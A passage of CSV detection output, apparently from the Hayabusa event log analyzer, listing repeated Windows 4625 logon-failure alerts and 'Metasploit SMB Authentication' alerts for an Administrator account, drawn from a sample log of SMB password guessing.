SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AwwJXCoC3gMDoDn7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.920 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.068 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ilNNoVbZpyhtsNkV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.068 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.109 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eNY0lv9IglfHP34d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.109 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.167 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BjSeQciwy17L7raV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.167 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.208 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wycE1fIsmPq9zaMU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.208 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.241 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5z1spxImm2ZlGOld : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.241 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.294 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dg7o4GCET1bJrlEU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.294 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.376 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E7Db3OLA0XPXL1B4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.376 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.417 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Uoqx5iPRp2tfYYos : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.417 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.448 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ixw5XWC2frtrTUkv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.448 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.495 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3v0NpzAp7io9gbZQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.495 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.536 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AfOOiR2zO5xem9Tk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.536 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.582 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yiGtitRqZbGNKrtN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.582 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.623 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7oQ70LvSMnGxBCFO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.623 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.660 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JGHr8623vHZyMY5B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.660 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.707 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X5Y1C9A4XqxQGoVA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.707 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SOnirLGOZzRVSt3y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.745 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.772 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jLu7XtYCHPqVNE7u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.772 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.811 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w242Ei1CpWErEE4m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.811 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.847 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UOZUagVG4R6zcK92 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.847 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.891 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7hQOl8XV3Ydp8UcW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.891 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.927 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u1XBRDfoN0I2iu6L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.927 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.963 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ngyknhk7uGvs38bG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.963 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.996 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QXZUhLVsfRUBDcsu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.996 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.045 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VEDAtkhiSqUcLj2i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.045 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: M4CmH02M91kHzeK2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.088 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.125 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5St1kWrKP4PZlOIy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.125 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 17A6k4Om84gunQfB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.156 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.195 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y9GfR4XdixrNJHny : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.195 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 27JWPfEV4DgS1tNv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.236 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.280 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yNeJnXg1pyedSpqU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.280 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.324 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WWihv14n9IAQXw2X : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.324 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Gy19bFWzQFaQZRBa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.364 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.412 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: N28Ec4jkXkSNvsQ1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.412 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.447 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sD9qQWJbeukyPQbc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.447 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.487 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uoRSHXvwMeKg8cyQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.487 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bPEOhloL7vo1fTFQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.528 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.564 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: glbLglffka5JqQCN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.564 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.612 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7MTbgvYN6PIaKxeK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.612 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.652 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tAjWfgmGrm3o2mAx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.652 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.683 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9EZYPG6uQtsez1UI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.683 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PRcnsdLAKd7enemG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.720 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.759 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OUZEQaUavv7fWk4w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.759 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JKth56VEMqMCgwG9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.796 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.834 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TCGlvOFFkVpSHSoM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.834 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jmLxSIastsvqdJC8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.860 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.895 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IPyvUDHHWzbhyvZE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.895 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 